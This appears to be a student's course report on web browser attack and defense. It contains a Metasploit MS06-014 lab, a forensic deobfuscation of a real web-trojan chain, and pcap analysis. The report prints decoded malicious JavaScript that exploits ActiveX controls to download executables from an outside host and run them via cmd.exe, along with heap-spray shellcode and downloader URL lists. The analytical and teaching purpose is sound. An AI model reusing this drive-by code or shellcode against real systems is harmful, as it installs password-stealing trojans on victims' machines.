20199310 2019-2020-2 《网络攻防实践》第12周作业

作业课程: https://edu.cnblogs.com/campus/besti/19attackdefense
作业要求: https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10737
课程目标: 学习《网络攻防技术与实践》教材第十二章,并完成课后作业
本次作业实现目标: 学习Web浏览器安全攻防

作业正文:

1 知识点梳理

1.1 Web浏览器的技术发展与安全威胁

Web浏览器:是目前互联网用户最常用的客户端软件,可以帮助用户浏览web服务器上的文件,并让用户与这些文件进行交互。
现代Web浏览器的基本结构与机理

目前的现代Web浏览器要求能够理解和支持HTMLXHTMLCascadingStyleSheets(CSS)ECMAScriptW3C Document Object Model(DOM)等一系列标准,经大大增加,需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCAScript标准构建JavaScriptFlash ActionScript等客户端脚本语言的执行环境,以及支持CSS标准控制页面的布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户。除此紫外,浏览器还普遍采用各种扩展机制允许第三方开发一些插件,以提升浏览器软件功能的丰富性,如微软基于Trident内核引擎采用ActiveX技术支持第三方开发扩展插件,Mozilla Firefox基于Gecko内科引擎通过XUL平台支持扩展插件开发。
Web浏览器软件安全困惑的三大要素

  • 复杂性:在复杂性方面,现代Web浏览器软件由于需要支持HTTPHTTPSFTP等多种类型.的应用层协议浏览,符合HTMLXHTMLCSS等一系列的页面标准规范,支持JavaScriptFlashJavaSilverLight等多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大。虽然较操作系统软件的千万行代码级别还少一个数量级,但考虑到浏览器仅仅作为一个应用程序,它们的复杂性已经通过源代码行数得到了验证。现代浏览器软件的复杂性意味着
    更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞;
  • 可扩展性:在可扩展性方面,现代Web浏览器可能是最突出可扩展特性支持的软件类型,目前儿乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客户端脚本执行环境、沙箱和虚拟机来执行富Internet应用程序。第三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。此外,浏览器插件一般也不具备自动版本更新的机制,安全漏洞被利用的时间周期较系统软件与浏览器软件本身漏洞要长。恶意客户端脚本代码也是现代浏览器由于可扩展性所面临的主要安全威胁,攻击者可以在网站中链接恶意的JavaScript脚本代码,或者恶意Flash文件,当浏览器软件装载这些恶意客户端脚本代码,将会在浏览器端进行执行,从而被渗透攻击与利用;
  • 连通性:在连通性方面,现代Web浏览器本身就是为用户实现“随时随地浏览互联网”这一目标而存在的,因此浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。.

Web浏览安全威胁位置
Web浏览环境中的每个组件也都面对着各种不同类型的安全威胁,如下如所示:

  • ①针对传输网络的网络协议安全威胁:网络是连接Web应用服务端与客户端浏览环境的媒介,因此对于Web浏览端而言,与Web服务器端同样面临着网络传输协议安全攻击与威胁,这里存在网络监听与协议栈攻击;
  • ②针对Web浏览端系统平台的安全威胁:互联网用户在浏览网页过程中所使用的浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得Web浏览环境存在着被攻击的风险。目前针对Windows桌面系统的渗透攻击与恶意代码是目前网络安全威胁的主要形态;
  • ③针对Web浏览器软件及插件程序的渗透攻击威胁:随着防火墙、网络入侵防御系统等安全设备在网络边界上的部署,传统的针对服务器端的渗透攻击变得愈加困难,在这一背景下,针对Web浏览器软件及插件程序的客户端渗透攻击在近几年来逐渐变得流行,恶意攻击者在地下经济链的驱动下,通过客户端渗透攻击向互联网用户桌面系统中植入恶意木马程序,窃取隐私信息并以此牟取非法利益;
    ④针对互联网用户的社会工程学攻击威胁:恶意攻击者会利用进行Web浏览的互联网用户本身所存在的人性、心理等方面的弱点,实施社会工程学攻击,来尝试骗取互联网用户的敏感个人隐私信息,典型的该类安全威胁是目前常见的网络钓鱼攻击。

1.2 Web浏览器的渗透攻击威胁———网页木马

网页木马:我们定义网页木马是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如JavaScriptVBScirpt 实现,或以FlashPDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。

网页木马的机理分析:网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。此外在网页木马通过渗透攻击获得客户端计算机的远程代码执行权限之后,为了进行进一步的主机控制和敏感信息窃取,一般需要植入一些盗号木马等类型的恶意程序。因此实施网页木马攻击需要多种类型的恶意代码及网络资源。病毒编写者负责实现网页木马和传统的盗号木马,并使用免杀技术方法使之躲避反病毒软件的检测;黑站长/网站骇客出卖网站访问者或攻陷不安全的网站,出售这些网站的访问流量;“信封”盗窃者在木马宿主站点上放置网页木马和传统盗号木马,并通过在大量网站中嵌入恶意链接将访问者重定向至网页木马,从而构建网页术马攻击网络;受害者在访问挂马网.站时,就会自动地链接网页木马并被其攻击,植入传统盗号木马,进而被窃取“信封”和虚拟资产。

网页木马的本质:即浏览器渗透攻击,主要利用浏览器的安全漏洞以及堆内存操纵编写网页木马渗透攻击代码,然后将代码挂在到客户访问流量很大的网站中,这里主要通过内嵌HTML标签、恶意Script脚本、内嵌对象连接、ARP欺骗挂马等方式实现,攻击者往往会讲攻击不同安全漏洞的多个网页木马链接至被挂马的网站页面中,也就是中间跳转机制,可以构造出一系列攻击方式,浏览器通过访问这些木马网页,会被检测出是否包含被攻击的漏洞,如果有则可能进行一系列的网页木马攻击。同时网页木马还可以通过混淆机制对代码进行混淆或伪装,由此避免反病毒软件的检测。

网页木马的检测与分析

  • 基于特征码匹配的传统检测方法
    反病毒软件公司延用恶意脚本代码静态分析过程来提取出其中具有样本特异性的特征码,然后在线更新至反病毒客户端软件中。然而网页木马灵活多变的混淆机制,以及分布式复杂的链接结构使得这种传统方法变得不再有效,为了提高网页木马的生存性,攻击者们在真正部署网页木马攻击网络之前,往往首先会通过各种混淆与对抗分析的技术来达到“免杀”效果,即躲避反病毒软件现有的特征码库,使得生成的网页木马样本可以绕过各种主流反病毒软件的检测与识别。在这种情况下,基于特征码批评的传统检测方法就很难准确及时地检测出野外实际的网页木马攻击样本,网站管理员使用反病毒软件来扫描他们所维护的网站页面内容,甚至结合网站镜像工具来扫描,都无法有效地检测出网站中可能已经被植入的网页木马链接。这是由于除了前面提到的基于传统特征码匹配方法的反病毒软件检测率限制外,还受到网页木马攻击网络中普遍采用的通过脚本代码动态生成链接、多级嵌套链接、对动态生成链接代码进行混淆处理等机制的影响,从而在扫描过程中根本无法发现攻击者所挂接的网页木马。

  • 基于统计与机器学习的静态分析方法
    为应对网页木马普遍采用的代码混淆机制,研究人员采用了多种统计与机器学习方法对混淆及行为特征进行检测,包括基于判断矩阵法的网页恶意脚本检测方法、基于静态启发式规则的检测方法、基于多异常语义特征加权的恶意网页检测方法以及基于分类算法的混淆恶意脚本检测方法等。但该类方法实质上是针对网页木马所采用的代码混淆或隐藏内嵌链接的特征进行检测,仍然停留在外在形态层次上,同时随着脚本代码混淆技术在源代码版权保护等正常渠道中的广泛应用,这类未能针对网页木马本质特征的检测方法也将造成大量的误报情况,不适用于实际场景。

  • 基于动态行为结果判定的检测分析方法
    近年来为应对网页木马,最为有效的一种方式是基于动态行为结果判定的检测分析方法,这种方法利用了网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型Web访问浏览器及应用软件、存有安全漏洞的高交互式客户端蜜罐环境,在蜜罐中访问待检测的网页,根据访问过程中是否触发了新启动进程、文件系统修改等非预期系统状态变化,以判定当前访问页面中是否被挂接了网页木马。由于这种动态行为检测方法是基于“行为结果”进行判定,因此具有低误报率、能够天然地对抗混淆机制、能检测新出现的“零日”网页木马的技术优势。

  • 基于模拟浏览器环境的动态分析检测方法
    由于网页木马的混淆机制本质上是利用了浏览器中脚本引擎对脚本代码的解释执行能力,因此安全领域的研究者最新引入了一种基于模拟浏览器环境( Emulation-based)的动态分析检测方法,以脚本执行引擎(如SpiderMonkey开源JavaScript 引擎)为核心,通过模拟实现DOM模型、页面解析与渲染、ActiveX等第三方控件构建出一个虚拟的低交互式客户端蜜罐环境,在该环境中进行网页脚本的动态解释执行,以此还原出网页木马在混淆之前的真实形态,并进一步结合反病毒引擎扫描、异常检测、安全漏洞模拟与特征检测等方法对网页木马进行分析和检测。另外,网页木马通常使用包含Heapspray 型Shellcode 的渗透代码,因此通过模拟执行的方法检测网页脚本中的Shellcode也成为一种可行的网页木马检测技术方案,如Egele等人通过对SpiderMonkey引擎进行源码插装进行网页木马Shellcode 探测,笔者也提出了基于脚本Opcode动态插装的Heapspray型网页木马检测方法。

1.3 网络钓鱼

网络钓鱼:网络钓鱼是社会工程学在互联网中广泛实施的一种典型攻击方式,通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息。欺骗性信息中往往包含一个容易混淆的链接,指向一个假冒目标机构公开网站的远程网页。钓鱼者希望受害者能够被欺骗,从而向这个假的、但看起来很像是目标机构的“官方”网站的页面中输入他们的敏感信息。被钓鱼者所青睐的目标机构包括很多著名的银行,信用卡公司和涉及日常性支付行为的知名互联网商务网站。
网络钓鱼攻击步骤

  • 1.从互联网上寻找被攻陷服务器搭建钓鱼攻击网络,扫描互联网的IP地址空间寻找潜在的存在漏洞主机;
  • 2.假设钓鱼网站,假冒知名金融机构和在线电子商务网站前台钓鱼网站,设计后台收集和发送用户敏感信息的脚本;
  • 3.通过自动化的社会工程学手段知道欺骗性垃圾邮件或者信息,实施网络钓鱼;
  • 4.通过“钱骡子”进行资金转移;

网络钓鱼攻击的防范

  • ①针对网络钓鱼过程中的电子邮件和即时通信信息欺诈,应该提高警惕性,对于以中奖、优惠、紧急状态等各种名义索取个人敏感信息的邮件一定要持怀疑态度,在未经认真核准的情况下,不要轻易相信并打来邮件中的链接;
  • ②充分利用浏览器软件、网络安全厂商软件所提供的反钓鱼网站功能特性,如浏览器中对HTTPS安全登录链接的提示,地址栏中对访问网站域名的标黑高亮提示、对钓鱼网站的警告提示与举报功能。但同时又不能完全依赖于这些浏览器与网络安全软件的安全提示,对于进行关键的在线金融操作时,还需要靠个人的安全意识来辨别可能面对的新的钓鱼网站;
  • ③在登录网上银行、证券基金等关键网站进行在线金融操作时,务必要重视访问网站的真实性,不要点击邮件中的链接来访问这些网站,最好以直接访问域名方式来访问,尽量使用硬件U盾来代替软证书或口令访问重要的金融网站。对网上银行异常动态提高警惕,如不小心在陌生的网址上输入了账户和密码,并遇到类似“系统维护”之类提示时,应立即拨打有关客服热线进行确认,万一资料被盗,应立即修改相关交易密码或进行银行卡、证券交易卡挂失;
  • ④通过学习和修炼提升自己抵抗社会工程学攻击的能力,只要比绝大多数人更懂得一些欺骗攻击技巧和相应的防范措施,并在实际过程中加以关注,就很难被撒网式钓鱼攻击所危害。

2.实验过程

动手实践:Web浏览器渗透攻击实验

实践内容:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
环境配置

攻击机: Kali Linux攻击机,安装的Metasploit渗透攻击框架软件;
靶机:未打补丁的Windows靶机,这里使用Windows XP靶机。

实验步骤
1.选择使用Metasploit 中的MS06-014渗透攻击模块(ie_createobject):


2.选择PAYLOAD为任意远程Shell连接:

3.设置服务器地址(SVRHOST和LHOST)和URL参数,运行exploit,构造出恶意网页木马脚本:

4.在Winodws XP靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚本URL:

5.在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION, 在靶机上远程执行命令:

取证分析实践:剖析一个实际的网页木马攻击场景

实践内容
1.试述你是如何一步步地从所给的网页中获取最后的真实代码的?
首先根据资料进入网页链接http://192.168.68.253/scom/start.html,但是该链接已经失效了,无奈只能分析资料中给的代码:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html dir=ltr>
<head>
<style>
a:link {font:9pt/11pt 宋体; color:FF0000}
a:visited {font:9pt/11pt 宋体; color:#4e4e4e}
</style>
<META NAME="ROBOTS" CONTENT="NOINDEX">
<title>找不到网页</title>
<META HTTP-EQUIV="Content-Type" Content="text-html; charset=gb2312">
</head>
<script>
function Homepage(){
<!--
// in real bits, urls get returned to our script like this:
// res://shdocvw.dll/http_404.htm#http://www.DocURL.com/bar.htm 
//For testing use DocURL = 
"res://shdocvw.dll/http_404.htm#https://www.microsoft.com/bar.htm"
DocURL = document.URL;
//this is where the http or https will be, as found by searching for :// but skipping 
the res://
protocolIndex=DocURL.indexOf("://",4);
//this finds the ending slash for the domain server 
serverIndex=DocURL.indexOf("/",protocolIndex + 3);
//for the href, we need a valid URL to the domain. We search for the # symbol 
to find the begining 
//of the true URL, and add 1 to skip it - this is the BeginURL value. We use 
serverIndex as the end marker.
//urlresult=DocURL.substring(protocolIndex - 4,serverIndex);
BeginURL=DocURL.indexOf("#",1) + 1;
urlresult="new09.htm";

···

<iframe src="new09.htm" width="0" height="0"></iframe>
</body>
</html>

这里主要分析到urlresult="new09.htm";<iframe src="new09.htm" width="0" height="0"></iframe>中引用了new09.htm文件,这里没有给出所有路径说明用的是相对路径,推测应该访问地址为http://192.168.68.253/scom/new09.htm,通过FreShow获取该网页源码,可以找到如下内容:

<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>

这里我们又可以从两个标签的src中得到两个网址http://aa.18dd.net/aa/kl.htmhttp://js.users.51.la/1299644.js,这里我们不能直接用文件名通过FreShow直接获取javascript内容,需要通过网页链接进行下载,一般网页中通过MD5对一些重要信息和文件名进行加密,加密结果分别为:7f60672dcd6b5e90b6772545ee219bd3,23180a42a2ff1192150231b44ffdf3d3。然后根据材料里说的http://192.168.68.253/scom/hashed/+MD5加密值下载这两个文件,我们可以从第一个文件中看到大量加密内容,可以从倒数第三行t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));,这里全文应该是通过xxtea+base64进行加密,秘钥通过16进制加密,用ASCII码对应值可以找到密钥是script,解密后结果还需要经过16进制转换。

<script>
eval("function init(){doc?x75ment.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
</script>

根据代码里的url,去掉转义字符后我们可以发现这里又引用了三个js文件1.js,b.jspps.js和一个压缩包bd.cab,用上面的解密方法,我们可以获得1.js的内容:

var url="http://down.18dd.net/bb/014.exe";try{var 
xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\n
tuser.com";as.savetofile(path,2);as.close
();var 
shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c 
"+path,"","open",0)}catch(e){}

这里又会下载一个014.exe可执行文件,这是利用ADODB漏洞

b.js文件内容使用了另一种加密方式,不过通过第一句内容可以推测出这个加密算法的秘钥很可能是packed:

eval(function(p,a,c,k,e,d){e=function(c){returnc};

这里我们通过改写源码,将其加入到script标签中,并用alert代替eval,打开以后显示的内容仍然是加密后的结果:

var bigblock=unescape("%u9090%u9090");var headersize=20;var 
shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
···

源码中出现大量的%u是比较明显的shellcode,进行了两次ESC解密。这里我们可以用FreShow进行两次decode解密:

可以看到最终需要下载一个叫bf.exe的可执行文件

pps.js用同样的方法我们找到pps.js的代码,对其进行8进制编码解密,发现也是有一句FileAhttp://dowm.18dd.net/bb/pps.exe会从网站下载pps.exe的可执行文件。

压缩包文件可以用MD5加密的方法在hashed目录下直接获取,这里我们可以下载下来,解压以后里面有一个bd.exe文件
通过MD5散列计算,最终发现这4个可执行文件不仅大小相同,散列值也完全一样,是同一个文件。

2.网页和JavaScript代码中都使用了什么样的加密方法?你是如何解密的?
文件下载中使用MD5加密方法,这里我们用Kali机上的这里我们用openssl命令进行MD5加密,输入MD5后回车,输入加密内容再输入两次ctrl+d:

网页kl.htm用到了xxtea+base64加密,这里将t="开始这段进行解密,
,遗憾这里tools解密工具网页也失去了链接。如果正确解码后,16编码数据解密可以通过FreShow进行Decode解密。

Javascript中1.js用到了16进制编码,b.js文件不仅用了16进制编码,还通过两次ESC加密,pps.js用到了八进制编码,我们可以用PreShow解密。

3.从解密后的结果来看,攻击者构造的网页木马利用了哪些安全漏洞?
我们可以看到var as=ado.createobject("Adodb.Stream","")},var storm=new ActiveXObject("MPS.StormPlayer");,var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");var obj=new ActiveXObject("BaiduBar.Tool");,分别对微软数据库访问对象、暴风影音、PPStream和百度搜霸的漏洞进行渗透攻击,这些都是用户常用的一些软件,其中微软数据库攻击利用了MS06-014安全漏洞以及MDAC RDS.Dataspace ActiveX控件的远程代码执行漏洞,暴风影音攻击利用了CVE-2007-4816安全漏洞以及暴风影音2 mps.dll组件多个缓冲区溢出漏洞,PPStream攻击利用了CVE-2007-4748安全漏洞以及PPStream堆栈溢出,百度搜霸攻击利用了CVE-2007-4105安全漏洞和百度搜霸AactiveX控件远程代码执行漏洞。

4.解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是起什么作用的? ( 请举例分析)
可以发现有4个可执行文件,分别是014.exebd.exebf.exepps.exe。由于上面分析这四个exe文件是完全一样的,我们用W32Dasm对其进行分析:

内容如下:

" goto try"
"#32770"
"(T@"
",T@"
".1"
":\AutoRun.inf"
":try"
"[AutoRun]
open="
"\program files\internet explorer\IEXPLORE.EXE"
"0813"
"3 烂怱 VQ 嬝媠咑 u3 离&j"
"60000"
"advapi32.dll"
"Alletdel.bat"
"AutoRun.inf"
"Button"
"ChangeServiceConfig2A"
"ChangeServiceConfig2W"
"cmd /c date "
"cmd /c date 1981-01-12"
"del ""
"del %0"
"drivers/klif.sys"
"Error"
"FPUMaskValue"
"http://down.18dd.net/kl/0.exe"
"http://down.18dd.net/kl/1.exe"
"http://down.18dd.net/kl/10.exe"
"http://down.18dd.net/kl/11.exe"
"http://down.18dd.net/kl/12.exe"
"http://down.18dd.net/kl/13.exe"
"http://down.18dd.net/kl/14.exe"
"http://down.18dd.net/kl/15.exe"
"http://down.18dd.net/kl/16.exe"
"http://down.18dd.net/kl/17.exe"
"http://down.18dd.net/kl/18.exe"
"http://down.18dd.net/kl/19.exe"
"http://down.18dd.net/kl/2.exe"
"http://down.18dd.net/kl/3.exe"
"http://down.18dd.net/kl/4.exe"
"http://down.18dd.net/kl/5.exe"
"http://down.18dd.net/kl/6.exe"
"http://down.18dd.net/kl/7.exe"
"http://down.18dd.net/kl/8.exe"
"http://down.18dd.net/kl/9.exe"
"IE 执行保护"
"IEXPLORE.EXE"
"IE 执行保护"
"if exist ""
"Kernel32.dll"
"NoDriveTypeAutoRun"
"ntdll.dll"
"QueryServiceConfig2A"
"QueryServiceConfig2W"
"S@"
"serdst.exe"
"shell\Auto\command="
"shellexecute="
"SOFTWARE\Borland\Delphi\RTL"
"Software\Microsoft\Windows\CurrentVersion\Poli"
"Telephotsgoogle"
"U 嬱兡餝 VW3 繳 h 訹@"
"U 嬱筧"
"U 嬱伳 SVW? "
"ZwUnmapViewOfSection"
"刌@"
"銼@"
"婦$鰼"
"媩$(?"
"燬@"
"擮@"
"确定"
"媆$?搡?婼 婥t?燖"
"瑞星卡卡上网安全助手 - IE 防漏墙"
"为即插即用设备提供支持"
"圷@"
"允许"
"允许执行"

可以看到这里每个exe文件都会继续从kl目录下下载名称为0-19共20个exe文件,所以之前的exe文件都是下载器,运行该程序,在注册表中显示后马上就自动删除了,接下来我们从所给的4.exe文件为例作说明:
我们通过脱壳软件进行脱壳:

""
"" goto Loop
del %0
"
"" -r -a -s -h
del ""
""
if exist ""
"%d"
".bat"
".mod"
":Loop
"
"@echo off
"
"\\"
"\InprocServer32"
"^B*"
"{28907901-1416-3389"
"11"
"-9981-372178569982}"
"aa"
"Apartment"
"asktao"
"attrib ""
"C:\DFD"
"CLSID\"
"EnHookWindow"
"enweafx.fon"
"Fonts\"
"id.exe"
"kawdacs.dll"
"kawdazy.d"
"kawdbaz.exe"
"kawdbzy.dll"
"ll"
"MP3"
"Music"
"q@"
"Send"
"Software\Microsoft\Windows\CurrentVersion\expl"
"S鐻?吚t嬝覽?
"ThreadingModel"
"Url%d"
"Url1"
"U嬱S瑙?嬝杓铔?+??	"
"vercls"
"wddpri.d"
"獲"
"嬂%Q@"

这里我们可以根据关键命令如del,Loopif exist等推测,该病毒可能会生成一个批处理文件并进行删除批操作,这些操作还会影响注册表。
通过Total Uninstall监视该程序:

发现该病毒修改了注册表项目,这里可以发现explorer.exe程序中被注入了动态链接库kawdacs.dll,运行了kawdbaz.exe:

INTEL,MicrosotfWindows NTPolices等文件夹下生成或者删除了一些文件:

该病毒对系统的Process Monitor,Norton系统托盘和SysInspector进行攻击,DLL程序显示的url是一个动态页面,推测该程序会向url指向的页面发送消息,大概率是盗号木马,通过杀毒软件:

可以验证kawdazy.dll确实是一个盗号木马。

攻防对抗实践:Web浏览器渗透攻击攻防对抗

实践内容
攻击方使用Metasploit构造出攻击至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理后组装成一个URL链接,通过具有欺骗性的电子邮件发送给防守方。防守方对电子邮件中的挂马链接进行提取、解混淆分析,尝试恢复出渗透攻击代码的原始形态,并分析出这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
这里我们利用上面MS06-014漏洞的实验,生成一个挂马URL链接http://192.168.200.7:8080/lkvcVplB,以邮件的方式发送给在防守方这里打开,防守方打开了url链接:

通过网页view Source可以看到这其实是一个包含恶意javascript的网页,为了防止被杀毒软件查杀,这里用了大量空格,整理以后可以看到如下网页源码:

可以看到调用了document.location加载了payload,并且下一行中后面跟了一个可执行文件UxZZNTvTClJLNbbbijajXhIDRDcbYgW.exe;猜想这个可执行文件应该通过网页下载到靶机上的,然后在靶机上执行,搜索漏洞进行渗透,打开靶机任务管理器查看正在运行的程序,果然发现了这个可执行文件:

下半部分出现的类别识别码如BD96C556-65A3-11D0-983A-00C04FC29E36,class identifier(类标识符)也称为CLASSID或CLSID,是与某一个类对象相联系的唯一标记(UUID)。一个准备创建多个对象的类对象应将其CLSID注册到系统注册数据库的任务表中,以使客户能够定位并装载与该对象有关的可执行代码。可以依此查询漏洞官网:

这里搜索到了MS06-014漏洞,其余类别识别码对应的信息可以参考下面:

# Patched
[ 'MS06-014 - RDS.DataSpace',                     { 'CLSID' => '{BD96C556-65A3-11D0-983A-00C04FC29E36}'} ],
# Found in mpack
[ 'MS06-014 - RDS.DataSpace',                     { 'CLSID' => '{BD96C556-65A3-11D0-983A-00C04FC29E30}'} ],
# Patched
[ 'MS06-073 - WMIScriptUtils.WMIObjectBroker2.1', { 'CLSID' => '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}'} ],
# These are restricted by site (might be exploitable via DNS spoofing + SSL fun)
[ 'UNKNOWN  - SoftwareDistribution.MicrosoftUpdateWebControl.1', { 'CLSID' => '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}'} ],
[ 'UNKNOWN  - SoftwareDistribution.WebControl.1', { 'CLSID' => '{6414512B-B978-451D-A0D8-FCFDF33E833C}'} ],
# Visual Studio components, not marked as safe
[ 'UNKNOWN  - VsmIDE.DTE',                        { 'CLSID' => '{06723E09-F4C2-43c8-8358-09FCD1DB0766}'} ],
[ 'UNKNOWN  - DExplore.AppObj.8.0',               { 'CLSID' => '{639F725F-1B2D-4831-A9FD-874847682010}'} ],
[ 'UNKNOWN  - VisualStudio.DTE.8.0',              { 'CLSID' => '{BA018599-1DB3-44f9-83B4-461454C84BF8}'} ],
[ 'UNKNOWN  - Microsoft.DbgClr.DTE.8.0',          { 'CLSID' => '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}'} ],
[ 'UNKNOWN  - VsaIDE.DTE',                        { 'CLSID' => '{E8CCCDDF-CA28-496b-B050-6C07C962476B}'} ],
# Not marked as safe
[ 'UNKNOWN  - Business Object Factory ',          { 'CLSID' => '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}'} ],
# Not marked as safe
[ 'UNKNOWN  - Outlook Data Object',               { 'CLSID' => '{0006F033-0000-0000-C000-000000000046}'} ],
# Found exploitable in the wild (no details)
[ 'UNKNOWN  - Outlook.Application',               { 'CLSID' => '{0006F03A-0000-0000-C000-000000000046}'} ],

取证分析挑战实践:Web浏览器遭遇攻击

实践内容
通过分析以下给出的网络记录pcap文件( suspicious -time pcap Shal: 1f10c8a4996fafa80
d47202881a17796941fd337),回答以下问题并撰写实践分析报告。
1.列出在捕获文件中的应用层协议类型,你认为攻击是针对哪个或哪些协议的?
这里要用到chaosreader,下载最新版,然后在kali机上执行./chaosreader suspicious-time.pcap:

这里会根据服务协议不同生成多个文件,通过cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"可以根据ip的数字顺序显示:

通过cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4,$5,$6}' | sort | uniq -c | sort -nr对上述数据报分类统计,其中最多的是http协议的数据包,用wireshark追踪数据流,发现大量通过网页获得访问请求,所以主要针对http协议:

2.列出捕获文件中的IP地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort

这里推测rapidshare.com.eyu32.ru伪造了一个众所周知的网站,攻击者可以用来进行网上钓鱼,分配本地的IP地址为192.168.56.50;sploitme.com.cn这个域名意味着一些恶意的东西。sploitme.com.cn实际上并不存在,因为没有找到DNS条目或记录,分配的本地IP地址为192.168.56.52;shop.honeynet.sg看起来像一个购物网站,它的本地IP是192.168.56.51
通过tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u,我们可以显示NB开头的协议,也就是NBNS 协议,它是基于NetBIOS名称访问的网络上提供主机名和地址映射方法,也就是提供主机名称,这里我们可以发现四个主机的主机名都一样。

通过tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u,这里我们看到对应IP的用户组都是WORKGROUP:

通过wireshark的数据包,也可以看出不同IP针对不同MAC地址:

IP地址 MAC地址
10.0.2.15 08:00:27:91:fd:44
10.0.3.15 08:00:27:ba:0b:03
10.0.4.15 08:00:27:a1:5f:bf
